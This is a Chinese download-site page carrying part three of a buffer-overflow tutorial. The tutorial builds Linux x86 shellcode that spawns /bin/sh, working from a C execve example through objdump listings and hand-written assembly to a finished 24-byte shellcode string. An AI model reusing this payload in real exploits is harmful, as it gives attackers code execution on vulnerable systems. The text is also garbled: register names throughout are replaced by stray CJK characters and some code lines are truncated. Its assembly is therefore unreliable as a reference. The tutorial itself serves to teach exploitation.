HI,欢迎您光临本站,秉承服务宗旨,销售只是起点,服务永无止境!
    • 短视频文案
      • 励志哲理
      • 名言美句
      • 情感语录
      • 回复热评
      • 解说文案
    • 短视频素材
      • 情感励志
      • 美食小吃
      • 体育运动
      • 生活人文
      • 妙招好物
      • 风景风光
      • 影音娱乐
      • 颜值时尚
      • 游戏动漫
      • 自然景观
    • 短视频课程
      • 同城课程
      • 带货课程
      • 投放课程
      • 玩法课程
    • 中视频素材
    • 短视频工具
    • 副业项目
资源分享吧
  • 首页
  • CMS模板host
    • DEDECMS模板965
    • 易优CMS318
    • WordPress模板146
    • Discuz模板101
    • 帝国CMS102
    • 苹果cms78
    • Pbootcms24
    • zblog模板2
  • 整站源码
    • 教育/交友/直播76
    • 商城/淘宝/网店26
    • 门户/论坛/信息27
    • 小说/新闻/博客76
    • 电影/视频/音乐22
    • 图片/素材/下载49
    • 支付/金融/货币356
    • 导航/目录/友链25
    • 会员/推广/任务57
    • 公众号/小程序/游戏133
  • 一元夺宝new
    E启学在线网校网站在线教育校园教学平台程序系统V1.0源码
    E启学在线网校网站在线教育校园教学平台程序系统V1.0源码
    Laravel开发MeEdu在线点播网站源码 知识付费应用系统源码
    Laravel开发MeEdu在线点播网站源码 知识付费应用系统源码
    一比一精仿电影挖片网苹果cmsv10模板
    一比一精仿电影挖片网苹果cmsv10模板
    织梦高仿dede58织梦模板下载站完整无错整站版源码 1.69GB打包
    织梦高仿dede58织梦模板下载站完整无错整站版源码 1.69GB打包
    蓝色清晰织梦资源网下载站源码
    蓝色清晰织梦资源网下载站源码
    全景通旗舰版最新源码 内核到krpano1.19pr8 支持任何高清图
    全景通旗舰版最新源码 内核到krpano1.19pr8 支持任何高清图
    thinkPHP音视频素材资源下载站整站源码 带会员系统+支付接口
    thinkPHP音视频素材资源下载站整站源码 带会员系统+支付接口
    仿集图网模板图片素材类模板织梦下载站源码带整站数据
    仿集图网模板图片素材类模板织梦下载站源码带整站数据
    织梦蓝色图纸展示类企业网站源码
    织梦蓝色图纸展示类企业网站源码
    Thinkphp5.0响应式进销存仓库管理系统源码
    Thinkphp5.0响应式进销存仓库管理系统源码
    prev
    next
  • 网页素材
    • 网页游戏148
    • 网页模板4723
    • 特效代码5467
  • 办公素材
    • PPT模板377
    • 简历模板0
  • 站长学院
    • DEDE教程352
    • wordpress教程416
    • SEO教程124
    • 其它文档教程13
  • 更多
    • 办公教程4
    • 群辉教程12
    • 电脑基础7124
    • GPS导航
    • 安卓系统15
      • Android资讯2
      • ROM0
      • 教程工具0
    • Win系统169
      • Windows XP3
      • Windows 77
      • Windows 80
      • Windows 1012
      • 服务器系统1129
      • Win主题12
      • Win教程26
      • Win资讯0
      • Win软件98
    • 站点标签
    • 更新日志
    • 其他10
登录/注册
  • 精品会员专享
  • 会员折扣下载
  • 每日海量更新
立即开通 开通会员抄底价
当前位置:资源分享吧 > 缓冲区溢出解密三
也想出现在这里? 联系我们吧

缓冲区溢出解密三

作者 : 小编 本文共3709个字,预计阅读时间需要10分钟 发布时间: 2021-06-22 共4.69K人阅读
也想出现在这里? 联系我们吧

如何执行 /bin/sh?

在C中,spawn出一个shell的代码可能象这样:

shell.c :

#include

void main()

{

char *shell[2];

shell[0] = "/bin/sh";

shell[1] = NULL;

execve(shell[0], shell, NULL);

}

[murat@victim murat]$ make shell

cc -W -Wall -pedantic -g shell.c -o shell

[murat@victim murat]$ ./shell

bash$

如果你看execve的man说明页($man 2 execve),你将看到execve要求一个将要执行的文件名的指针,一个NULL终止的参数数组,和一个可以为NULL的环境指针。如果你编译运行了这个输出的二进制文件,你将看到你spawn出了一个新的shell。

目前为止一切顺利……但是我们不能用这种方式spawn出一个shell,是吗?我们如何能用这种方式把这个代码放到漏洞程序里去呢?我们不能!

这给我们造成了一个新问题:我们如何能把我们的攻击代码传给漏洞程序?我们将需要在易受攻击的缓冲区传递我们的代码,它很有可能是一段shell代码。为了实现这个目标,我们必须能够把我们的shell代码用一个字符串表示。

因此,我们将列出所有的来spawn出一个shell的汇编指令,得到它们的运算码,把它们一个一个列出来,然后把它们作为一个shell生成串组装起来。

首先,让我们看看上面的代码(shell.c)在汇编中是什么样子。让我们静态编译程序(这个方法,execve系统调用也将被反汇编)然后看:

[murat@victim murat]$ gcc -static -g -o shell shell.c

[murat@victim murat]$ objdump -d shell | grep \\: -A 12

0804ca10 :

804ca10: 53 pushl 離

804ca11: 8b 54 24 10 movl 0x10(%esp,1),韝

804ca15: 8b 4c 24 0c movl 0xc(%esp,1),靫

804ca19: 8b 5c 24 08 movl 0x8(%esp,1),離

804ca1d: b8 0b 00 00 00 movl $0xb,陎

804ca22: cd 80 int $0x80

804ca24: 5b popl 離

804ca25: 3d 01 f0 ff ff cmpl $0xfffff001,陎

804ca2a: 0f 83 00 02 00 jae 804cc30

804ca2f: 00

804ca30: c3 ret

804ca31: 90 nop

[murat@victim murat]$

让我们一步一步地分析这个系统调用:

记住,在我们的main()函数里,我们写了代码:

execve(shell[0], shell, NULL)

我们传递了:

·字符串”/bin/sh”的地址

·NULL结尾数组的地址

·NULL(实际上它是环境地址)

此处,在main里面:

[murat@victim murat]$ objdump -d shell | grep \\: -A 17

08048124 :

8048124: 55 pushl 雙

8048125: 89 e5 movl %esp,雙

8048127: 83 ec 08 subl $0x8,%esp

804812a: c7 45 f8 ac 92 movl $0x80592ac,0xfffffff8(雙)

804812f: 05 08

8048131: c7 45 fc 00 00 movl $0x0,0xfffffffc(雙)

8048136: 00 00

8048138: 6a 00 pushl $0x0

804813a: 8d 45 f8 leal 0xfffffff8(雙),陎

804813d: 50 pushl 陎

804813e: 8b 45 f8 movl 0xfffffff8(雙),陎

8048141: 50 pushl 陎

8048142: e8 c9 48 00 00 call 804ca10

8048147: 83 c4 0c addl $0xc,%esp

804814a: c9 leave

804814b: c3 ret

804814c: 90 nop

在调用execve(call 804ca10 )之前,我们反序把这些参数推入到堆栈中。

因此,如果我们回到__execve:

我们拷贝NULL字节到EDX寄存器,

804ca11: 8b 54 24 10 movl 0x10(%esp,1),韝

我们拷贝以NULL结尾数组的地址到ECX寄存器,

804ca15: 8b 4c 24 0c movl 0xc(%esp,1),靫

我们拷贝字符串"/bin/sh"的地址到EBX寄存器

804ca19: 8b 5c 24 08 movl 0x8(%esp,1),離

我们为execve拷贝系统索引,即11(oxb)到EAX寄存器:

804ca1d: b8 0b 00 00 00 movl $0xb,陎

接着变成核模式:

804ca22: cd 80 int $0x80

我们需要的全部就是这么多了。然而,这里还有一些问题。我们不能准确地知道NULL结束数组和”/bin/sh”字符串的地址。那么,这个怎么样?:

xorl 陎, 陎

pushl 陎

pushl $0x68732f2f

pushl $0x6e69622f

movl %esp,離

pushl 陎

pushl 離

movl %esp,靫

cdql

movb $0x0b,%al

int $0x80

让我解释一下上面的指令:

如果你进行自身异或,你得到0,等同于NULL。这里,我们在EAX寄存器中得到一个NULL。

xorl 陎, 陎

接着我们把NULL推入堆栈:

pushl 陎

我们把字符串”//sh”推入堆栈,

2f is /

2f is /

73 is s

68 is h

pushl $0x68732f2f

我们把字符串”/bin”推入堆栈:

2f is /

62 is b

69 is i

6e is n

pushl $0x6e69622f

可以猜想,现在堆栈指针地址就象我们的NULL结尾字符串”/bin/sh”的地址。因为,从指向栈顶的指针开始,我们有了一个NULL结尾的字符串数组。因此,我们拷贝堆栈指针到EBX寄存器。这样,我们就已经把”/bin/sh”的地址放到EBX寄存器中了。

movl %esp,離

接着我们需要用NULL结尾的数组地址设置ECX。为此,我们在我们的堆栈中创造了一个NULL结尾的数组,与上面那个很像:首先我们PUSH一个NULL。我们不能PUSH NULL,但是我们能PUSH值为NULL的东西,回顾我们异或EAX寄存器在那我们得到了NULL,因此让我们PUSH EAX来在堆栈中得到一个NULL。

pushl 陎

接着,我们PUSH我们的字符串的地址到堆栈,这等同于shell[0]:

pushl 離

现在我们有一个NULL结尾数组的指针,我们能够在ECX中保存它的地址:

movl %esp,靫

我们还需要其它什么呢?一个在EDX寄存器中的NULL。我们能movl 陎, 韝,但是我们能用一个短的指令完成这个操作:cdq。这个指令是把EAX中的符号位扩展到EDX。:

cdql

我们设定EAX 为0xb,这是系统调用表中的系统调用id。

movb $0x0b,%al

接着,我们转换到核模式:

int 0x80

之后,我们进到核模式,内核将调用exec函数执行我们指示给它的:/bin/sh 这样我们将进入一个交互shell……

因此,在讲了这么多以后,我们所要做的全部就是把这些汇编指令转换到一个字符串中。因此,让我们得到这些十六进制运赛码然后汇编我们的攻击代码:

sc.c :

char newsc[]= /* 24 bytes */

"\\x31\\xc0" /* xorl 陎,陎 */

"\\x50" /* pushl 陎 */

"\\x68""//sh" /* pushl $0x68732f2f */

"\\x68""/bin" /* pushl $0x6e69622f */

"\\x89\\xe3" /* movl %esp,離 */

"\\x50" /* pushl 陎 */

"\\x53" /* pushl 離 */

"\\x89\\xe1" /* movl %esp,靫 */

"\\x99" /* cdql */

"\\xb0\\x0b" /* movb $0x0b,%al */

"\\xcd\\x80" /* int $0x80 */

;

main()

{

}

[murat@victim newsc]$ gcc -g -o sc sc.c

[murat@victim newsc]$ objdump -D sc | grep \\ -A13

080494b0 :

80494b0: 31 c0 xorl 陎,陎

80494b2: 50 pushl 陎

80494b3: 68 2f 2f 73 68 pushl $0x68732f2f

80494b8: 68 2f 62 69 6e pushl $0x6e69622f

80494bd: 89 e3 movl %esp,離

80494bf: 50 pushl 陎

80494c0: 53 pushl 離

80494c1: 89 e1 movl %esp,靫

80494c3: 99 cltd

80494c4: b0 0b movb $0xb,%al

80494c6: cd 80 int $0x80

80494c8: 00 00 addb %al,(陎)

…

[murat@victim newsc]$

在上面的图中,第一行是指令内存地址,接下面的行是汇编指令的运算码,这也是我们兴趣所在,而最后一行是与运算码相关的汇编指令。

加密 加密算法 加密解密 解密 解密加密 解密破解
1. 本站所提供的源码模板(主题/插件)等资源仅供学习交流,若使用商业用途,请购买正版授权,否则产生的一切后果将由下载用户自行承担,有部分资源为网上收集或仿制而来,若模板侵犯了您的合法权益,请来信通知我们(Email: rayer@88.com),我们会及时删除,给您带来的不便,我们深表歉意!
2. 分享目的仅供大家学习和交流,请不要用于商业用途!
3. 如果你也有好源码或者教程,可以到用户中心发布投稿,分享有金币奖励和额外收入!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务 请大家谅解!
5. 如有链接无法下载、失效或广告,请联系站长,可领回失去的金币,并额外有奖!
6. 如遇到加密压缩包,默认解压密码为"www.zyfx8.cn",如遇到无法解压的请联系管理员!
本站部分文章、资源来自互联网,版权归原作者及网站所有,如果侵犯了您的权利,请及时联系我站删除。免责声明
资源分享吧 » 缓冲区溢出解密三

常见问题FAQ

免费下载或者VIP会员专享资源能否直接商用?
本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
织梦模板使用说明
你下载的织梦模板并不包括DedeCMS使用授权,根据DedeCMS授权协议,除个人非盈利站点外,均需购买DedeCMS商业使用授权。购买地址: http://www.desdev.cn/service-dedecms.html
小编

小编 VIP

分享到:
上一篇
对某ASC加密网马的破解和利用
下一篇
完全破解灰鸽子成为会员!

发表评论 取消回复

要发表评论,您必须先登录。

最新文章
餐饮火锅加盟网站pbootcms模板源码
餐饮火锅加盟网站pbootcms模板源码
源码下载新闻资讯博客网站pbootcms模板
源码下载新闻资讯博客网站pbootcms模板
绿色人造草坪地坪施工网站源码pbootcms模板
绿色人造草坪地坪施工网站源码pbootcms模板
红色火锅加盟网站pbootcms模板源码
红色火锅加盟网站pbootcms模板源码
蓝色源码钢结构工程基建网站pbootcms模板
蓝色源码钢结构工程基建网站pbootcms模板
标签云
DEDECMS (483) dedecms教程 (326) eyoucms (270) html (364) html5 (1717) html模板 (733) Linux (1245) linux教程 (1245) wordpress教程 (380) 下载 (277) 代码 (816) 企业网站模板 (874) 企业网站模板下载 (874) 免费企业网站模板 (874) 入侵防御 (270) 公司网站模板 (874) 切换 (502) 动画 (594) 国内网站模板 (324) 图片 (582) 技术网络漏洞 (347) 插件 (447) 效果 (765) 源码 (381) 漏洞 (371) 漏洞分析 (347) 特效 (789) 电脑使用 (4064) 电脑操作 (4064) 短视频素材 (606) 笔记本电脑价格 (4037) 笔记本电脑品牌排行 (4037) 笔记本电脑知识 (4037) 笔记本电脑评测 (4037) 素材 (483) 织梦 (407) 织梦教程 (342) 网站模板 (436) 网站源码 (417) 网站漏洞检测 (347) 网络安全WEB漏洞 (347) 菜单 (299) 视频 (376) 这是 (345) 鼠标 (417)

限时优惠

【阿里云】云产品采购季,助力行业复工。新用户专享1折起,云服务器低至0.75折,更多产品可叠加专属代金券下单
立即查看

相关推荐

有密码 优酷视频 破解方法
小编小编

有密码 优酷视频 破解方法

优酷网站的视频可以设置独立的播放密码,不过你可知道:观看有密码的优酷视频其实不需要密码哦。下面讲述两种方法进行优酷视频密码破解的方法。 优酷视频密码破解一: 打开FLV解析网站,这里推荐使用该站点:http://www.flvcd.com,从浏览器地址...
  • 4.81K
  • 免费
  • 下载
完美破解共享软件-渗透V3.0
小编小编

完美破解共享软件-渗透V3.0

大家好.我是David.今天的课程是:完美破解共享软件 ——————————————...
  • 5.12K
  • 免费
  • 下载
黑客使用MD5加密GRUB密码操作步骤
小编小编

黑客使用MD5加密GRUB密码操作步骤

步骤如下: 在命令行输入grub,进入GRUB界面,输入md5crypt(或password –md5),然后输入你的密码(注意输入密码要小心,因为只能输入一次),产生一个md5加密字符串,把它复制下来。 打开/boot/grub/grub...
  • 2.45K
  • 免费
  • 下载
教你将文件秘密隐藏在图片中
小编小编

教你将文件秘密隐藏在图片中

每个人都有自己的秘密,不过有些朋友却喜欢将秘密,以文件的形式放到电脑里,来供自己欣赏。虽然这些“秘密”放在电脑上大多都是加了密的,但是有些只能防止菜鸟破解,根本达不到真正隐藏的目的。于是笔者想了很久,终于研究出利用一张JPG的图片,就可隐藏文件秘密的方...
  • 3.53K
  • 免费
  • 下载
  • 3065本站运营(天)
  • 62847用户总数
  • 26548资源数(个)
  • 2近7天更新(个)
  • 82301资源大小(GB)
加入VIP获取全站资源

「资源分享吧」 ZYFX8.CN

国内极具人气的网络源码资源交流学习平台
下载源码文章,学软件教程,找灵感素材,尽在「资源分享吧」

按Ctrl+D收藏本站

找资源就上「 资源分享吧 」

WWW.ZYFX8.CN

资源分享吧

资源分享吧(www.zyfx8.cn)是一家专门做精品素材的网站,网站以网站源码、网站模板、网页特效为主要内容,以“共享创造价值”为理念,以“尊重原创”为准则。

本站导航
  • 热门标签
  • 网站专题
  • 站点地图
更多导航
  • 申请友链
  • 用户协议
  • 免责声明
快速搜索
    友情链接 自助申请友链
  • RiTheme主题
  • wordpress主题
  • 在线PS修图
  • 源码下载
  • 网站模板
  • 资源分享吧
Copyright 2015-2020 版权所有 资源分享吧 Rights Reserved. 蜀ICP备14022927号-1
资源分享吧(www.zyfx8.cn)是一家专门做精品素材的网站,以“共享创造价值”为理念,以“尊重原创”为准则。
  • 会员特惠
  • 签到
  • 客服

    在线客服

    点我联系

    直接说出您的需求!
    切记!带上资源链接与问题!

    工作时间: 9:30-21:30

  • 更新
    日历
  • 全屏
  • 首页

  • 签到

  • 切换

  • 客服

资源分享吧
  • 登录
  • 注册
or
or
忘记密码?
资源分享吧
  • 首页
  • CMS模板host ►
    • DEDECMS模板965
    • 易优CMS318
    • WordPress模板146
    • Discuz模板101
    • 帝国CMS102
    • 苹果cms78
    • Pbootcms24
    • zblog模板2
  • 整站源码 ►
    • 教育/交友/直播76
    • 商城/淘宝/网店26
    • 门户/论坛/信息27
    • 小说/新闻/博客76
    • 电影/视频/音乐22
    • 图片/素材/下载49
    • 支付/金融/货币356
    • 导航/目录/友链25
    • 会员/推广/任务57
    • 公众号/小程序/游戏133
  • 一元夺宝new
    E启学在线网校网站在线教育校园教学平台程序系统V1.0源码
    E启学在线网校网站在线教育校园教学平台程序系统V1.0源码
    Laravel开发MeEdu在线点播网站源码 知识付费应用系统源码
    Laravel开发MeEdu在线点播网站源码 知识付费应用系统源码
    一比一精仿电影挖片网苹果cmsv10模板
    一比一精仿电影挖片网苹果cmsv10模板
    织梦高仿dede58织梦模板下载站完整无错整站版源码 1.69GB打包
    织梦高仿dede58织梦模板下载站完整无错整站版源码 1.69GB打包
    蓝色清晰织梦资源网下载站源码
    蓝色清晰织梦资源网下载站源码
    全景通旗舰版最新源码 内核到krpano1.19pr8 支持任何高清图
    全景通旗舰版最新源码 内核到krpano1.19pr8 支持任何高清图
    thinkPHP音视频素材资源下载站整站源码 带会员系统+支付接口
    thinkPHP音视频素材资源下载站整站源码 带会员系统+支付接口
    仿集图网模板图片素材类模板织梦下载站源码带整站数据
    仿集图网模板图片素材类模板织梦下载站源码带整站数据
    织梦蓝色图纸展示类企业网站源码
    织梦蓝色图纸展示类企业网站源码
    Thinkphp5.0响应式进销存仓库管理系统源码
    Thinkphp5.0响应式进销存仓库管理系统源码
    prev
    next
  • 网页素材 ►
    • 网页游戏148
    • 网页模板4723
    • 特效代码5467
  • 办公素材 ►
    • PPT模板377
    • 简历模板0
  • 站长学院 ►
    • DEDE教程352
    • wordpress教程416
    • SEO教程124
    • 其它文档教程13
  • 更多 ►
    • 办公教程4
    • 群辉教程12
    • 电脑基础7124
    • GPS导航
    • 安卓系统15 ►
      • Android资讯2
      • ROM0
      • 教程工具0
    • Win系统169 ►
      • Windows XP3
      • Windows 77
      • Windows 80
      • Windows 1012
      • 服务器系统1129
      • Win主题12
      • Win教程26
      • Win资讯0
      • Win软件98
    • 站点标签
    • 更新日志
    • 其他10
文章展示
交易所源码搭建教程java多语言部署
交易所源码搭建教程java多语言部署
餐饮火锅加盟网站pbootcms模板源码
餐饮火锅加盟网站pbootcms模板源码
源码下载新闻资讯博客网站pbootcms模板
源码下载新闻资讯博客网站pbootcms模板
绿色人造草坪地坪施工网站源码pbootcms模板
绿色人造草坪地坪施工网站源码pbootcms模板
红色火锅加盟网站pbootcms模板源码
红色火锅加盟网站pbootcms模板源码
蓝色源码钢结构工程基建网站pbootcms模板
蓝色源码钢结构工程基建网站pbootcms模板
开通VIP 享更多特权,建议使用QQ登录
账号登录/注册
QQ登录
微博登录
×

    回馈用户限时特惠

    「 资源分享吧 」国内极具人气的网络资源交流学习平台,海量资源每天更新,优质资源畅快下载

    终身SVIP原价 590元,国庆限时活动价仅需 “ 59元 ”,终身免费~~机不可失~~


    立即开通永久会员>>